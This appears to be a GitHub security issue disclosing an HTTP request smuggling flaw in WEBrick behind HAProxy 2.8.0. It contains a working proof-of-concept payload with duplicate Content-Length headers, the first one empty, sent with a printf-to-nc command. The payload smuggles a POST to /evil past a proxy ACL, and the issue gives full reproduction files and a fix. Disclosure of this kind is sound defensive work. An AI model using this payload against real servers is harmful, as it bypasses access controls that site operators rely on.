-
Notifications
You must be signed in to change notification settings - Fork 105
Description
Abstract
WEBrick is vulnerable to request smuggling when it is deployed behind a reverse proxy with the following two properties:
- Can be coerced into emitting requests containing two
Content-Lengthheaders, of which the first is empty. - Prioritizes the second
Content-Lengthheader over the first.
HAProxy exhibited both of these behaviors until a few days ago. See CVE-2023-40225 for details.
WEBrick is vulnerable for two reasons:
- It interprets empty
Content-Lengthheaders to have a value of0, and - It prioritizes the first received
Content-Lengthheader over the rest if a request contains multipleContent-Lengthheaders.
I suggest that WEBrick start rejecting messages with empty or multiple different Content-Length values. This is what most other web servers do, including Nginx, Apache, Lighttpd, H2O, IIS, Node.js, and LiteSpeed.
PoC Description
Suppose that we have WEBrick deployed behind a reverse proxy with the aforementioned properties (e.g. HAProxy 2.8.0) that has an ACL rule blocking access to the /evil directory on the WEBrick host.
The following payload will bypass the ACL rule:
GET / HTTP/1.1\r\n
Content-Length: \r\n
Content-Length: 43\r\n
\r\n
POST /evil HTTP/1.1\r\n
Content-Length: 18\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n
This works because HAProxy sees the payload as two GET requests for /, but WEBrick sees the payload as a GET request for / and a POST request for /evil.
PoC Reproduction Steps
- Start with a fresh installation of Alpine Linux (
docker run --workdir /repro -it alpine:3.18.0) - Build and install Ruby:
cd /repro
apk add git autoconf gcc musl-dev make ruby-dev libffi-dev openssl-dev zlib-dev yaml-dev
git clone --depth 1 "https://github.com/ruby/ruby"
cd ruby
./autogen.sh
./configure
make -j$(nproc)
make install- Build and install WEBrick:
cd /repro
git clone "https://github.com/ruby/webrick"
cd webrick
gem build
gem install ./webrick*.gem- Build and install HAProxy 2.8.0:
cd /repro
git clone "https://github.com/haproxy/haproxy"
cd haproxy
git checkout v2.8.0
make -j`nproc` TARGET=linux-musl
make install- Copy the files from the Files section into the filesystem.
- Start a WEBrick server on port 8080 that responds 200 to everything:
ruby /repro/server.rb &- Start HAProxy on port 80 with an ACL rule blocking access to
/evil:
haproxy -f /repro/haproxy.conf &- Send the payload to HAProxy:
printf 'GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n' | nc localhost 80- Observe that WEBrick sees a request for
/evil, indicating that the ACL has been bypassed:
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "GET / HTTP/1.1" 200 0
- -> /
...
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "POST /evil HTTP/1.1" 200 0
- -> /evil
Files
/repro/server.rb
require 'webrick'
server = WEBrick::HTTPServer.new({:Port => 8080})
server.mount_proc '/' do |request, response|
response.status = 200
end
server.start()/repro/haproxy.conf
global
maxconn 4096
defaults
mode http
option http-keep-alive
timeout client 1s
timeout connect 1s
timeout server 1s
timeout http-request 1s
http-reuse always
frontend the_frontend
bind 0.0.0.0:80
default_backend the_backend
http-request deny if { path -i -m beg /evil }
backend the_backend
server server1 localhost:8080
Suggested Fix
WEBrick should reject any message that contains an empty Content-Length header. WEBrick should also reject any message containing multiple Content-Length headers, especially if those headers do not all have the same value. See here for the relevant portion of the standard.